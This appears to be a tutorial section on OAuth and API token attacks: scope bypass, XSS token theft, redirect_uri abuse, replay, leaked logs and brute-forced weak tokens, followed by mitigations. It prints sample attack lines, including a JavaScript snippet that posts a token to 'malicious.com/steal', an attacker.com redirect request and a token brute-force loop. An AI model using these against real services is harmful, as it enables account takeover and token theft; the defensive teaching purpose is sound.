OAuth Exploitation

OAuth and API Token Exploitation

OAuth 2.0 and API tokens are foundational to modern authentication and authorization, but their misconfiguration or insecure handling can enable bypasses. This section explores common exploitation vectors, including OAuth flow bypasses, token replay attacks, and insecure credential exposure, with practical examples for defensive analysis.

---

## OAuth Flow Bypass Techniques

1. Missing or Overlapping Scopes

OAuth clients often request specific scopes (e.g., openid, email). If a service allows access to protected resources without requiring these scopes, attackers can bypass authorization.
Example: A /user/data endpoint might require the user_data scope, but if the server accepts requests without it, an attacker can access it directly.

curl -H "Authorization: Bearer <stolen_token>" https://api.example.com/user/data

2. Token Leakage via Client-Side Storage

Tokens stored in client-side storage (e.g., localStorage, sessionStorage) without HttpOnly flags can be intercepted via XSS.
Example: A malicious script could exfiltrate a token:

document.addEventListener('storage', function(event) {
  if (event.key === 'auth_token') {
    fetch('https://malicious.com/steal', { 
      method: 'POST', 
      body: JSON.stringify({ token: event.newValue }) 
    });
  }
});

3. Open Redirect Vulnerabilities

OAuth redirect_uri validation flaws allow attackers to redirect users to malicious endpoints, capturing tokens.
Example: A service might allow https://attacker.com/redirect as a valid redirect URI, enabling token interception.

# Simulate OAuth flow interception
curl -X POST https://auth.example.com/token \
  -d "code=malicious_code" \
  -d "redirect_uri=https://attacker.com/redirect"

---

## API Token Exploitation

1. Token Replay Attacks

Stolen API tokens can be reused if the service lacks request validation (e.g., missing timestamp or nonce checks).
Example: A token might grant access to a sensitive endpoint:

curl -H "Authorization: Bearer <replayed_token>" https://api.example.com/secure/data

2. Insecure Token Exposure

Tokens exposed in logs, debug output, or network traffic (e.g., via curl -v) can be harvested.
Example: Debug logs might inadvertently leak tokens:

# Example of accidental token exposure in logs
[INFO] User 'admin' authenticated with token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

3. Weak Token Generation

Predictable tokens (e.g., based on timestamps or user IDs) can be guessed or brute-forced.
Example: A token generated as user1234567890 is vulnerable to enumeration.

# Brute-force guess tokens
for i in {1..1000}; do
  curl -H "Authorization: Bearer user123$i" https://api.example.com/validate
done

---

## Mitigations and Best Practices

• Validate Redirect URIs: Ensure OAuth redirect_uri values are pre-registered and strictly validated.
• Secure Token Storage: Use HttpOnly, Secure, and SameSite attributes for cookies; avoid client-side storage for tokens.
• Token Expiration and Rotation: Implement short-lived tokens and enforce rotation (e.g., refresh tokens).
• Rate Limiting and Monitoring: Detect anomalous usage patterns (e.g., repeated token requests from the same IP).
• HTTPS Enforcement: Always use TLS to prevent token interception during transmission.

---

Key takeaways

• Validate OAuth redirect_uri values to prevent open redirect vulnerabilities.
• Securely store and transmit API tokens using HTTPS and HttpOnly flags.
• Implement token expiration, rotation, and request validation to mitigate replay attacks.
• Monitor for unusual token usage patterns and enforce strict scope requirements.
• Avoid exposing tokens in logs or debug output; use secure token generation mechanisms.